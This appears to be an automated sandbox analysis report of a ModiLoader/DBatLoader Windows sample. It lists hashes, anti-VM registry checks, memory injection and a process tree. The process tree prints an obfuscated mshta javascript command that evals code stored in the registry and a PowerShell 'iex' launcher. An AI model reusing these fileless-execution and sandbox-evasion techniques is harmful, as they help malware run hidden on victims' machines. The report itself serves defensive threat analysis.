Analysis
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max time kernel
148s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20240419-en -
resource tags
arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system -
submitted
07-05-2024 05:27
Static task
static1
Behavioral task
behavioral1
Sample
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
Resource
win10v2004-20240419-en
General
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Target
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
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Size
356KB
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MD5
1f98f4990bbf6b268365ba7fdf56405f
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SHA1
e1f5a46baf14c6fdd67fcb1b3d37b54ad9a52317
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SHA256
5f2ebf4e711218b1c47e8c83cbe354a369efcfed3835c480c7ae08001dfbdb8f
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SHA512
bbf91e6a1a1c2a50f630d4ec347c7678647a78ce976af3db92b62498f77af84f506e1dadd4d9d8757c9f2297e80bbaf96e8575f5cb331800465417a6ed08717f
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SSDEEP
6144:Sae/c0RVIqxFu4s2a9XHCd9hxJamsAT4k+wCGbfQfojzMBR5h:W/cMVDxFu43cHYf1TPCAxjzMj
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 4940 1272 mshta.exe -
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 6 IoCs
Processes:
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\FADT\VBOX__ 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\RSDT\VBOX__ 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe -
ModiLoader Second Stage 13 IoCs
Processes:
resource yara_rule behavioral2/memory/248-1-0x00000000006F0000-0x0000000000737000-memory.dmp modiloader_stage2 behavioral2/memory/248-0-0x00000000006F0000-0x0000000000737000-memory.dmp modiloader_stage2 behavioral2/memory/248-14-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 behavioral2/memory/248-13-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 behavioral2/memory/248-11-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 behavioral2/memory/248-15-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 behavioral2/memory/248-16-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 behavioral2/memory/248-10-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 behavioral2/memory/248-9-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 behavioral2/memory/248-6-0x0000000000400000-0x000000000043E000-memory.dmp modiloader_stage2 behavioral2/memory/2700-21-0x00000000005F0000-0x0000000000637000-memory.dmp modiloader_stage2 behavioral2/memory/2700-20-0x00000000005F0000-0x0000000000637000-memory.dmp modiloader_stage2 behavioral2/memory/248-41-0x00000000029A0000-0x0000000002A74000-memory.dmp modiloader_stage2 -
Looks for VMWare Tools registry key 2 TTPs 2 IoCs
Processes:
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMWare, Inc.\VMWare Tools 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe Key opened \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMWare, Inc.\VMWare Tools 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
mshta.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-17203666-93769886-2545153620-1000\Control Panel\International\Geo\Nation mshta.exe -
Executes dropped EXE 1 IoCs
Processes:
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exepid process 2700 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 10 IoCs
Processes:
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exepowershell.exepid process 248 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 248 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 248 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 248 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 2700 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 2700 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 2700 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 2700 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 2912 powershell.exe 2912 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2912 powershell.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exemshta.exedescription pid process target process PID 248 wrote to memory of 2700 248 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe PID 248 wrote to memory of 2700 248 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe PID 248 wrote to memory of 2700 248 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe 1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe PID 4940 wrote to memory of 2912 4940 mshta.exe powershell.exe PID 4940 wrote to memory of 2912 4940 mshta.exe powershell.exe PID 4940 wrote to memory of 2912 4940 mshta.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VMWare Tools registry key
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:248 -
C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe"2⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Looks for VMWare Tools registry key
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
PID:2700
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:gZfVkd7MU="A";c2y=new%20ActiveXObject("WScript.Shell");YirKUGAL3="lPw6Ad";on0qU=c2y.RegRead("HKLM\\software\\Wow6432Node\\HWHEDuC1Hi\\oTufir");aWK3mT2YS="HPJQ6QiQm";eval(on0qU);gDj6CnL="pT0Tlage5";1⤵
- Process spawned unexpected child process
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4940 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:suaqla2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2912
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\FF32A6D9-ACAE-42F5-AE3C-A6CAF0BDEBA9\1f98f4990bbf6b268365ba7fdf56405f_JaffaCakes118.exe
Filesize356KB
MD51f98f4990bbf6b268365ba7fdf56405f
SHA1e1f5a46baf14c6fdd67fcb1b3d37b54ad9a52317
SHA2565f2ebf4e711218b1c47e8c83cbe354a369efcfed3835c480c7ae08001dfbdb8f
SHA512bbf91e6a1a1c2a50f630d4ec347c7678647a78ce976af3db92b62498f77af84f506e1dadd4d9d8757c9f2297e80bbaf96e8575f5cb331800465417a6ed08717f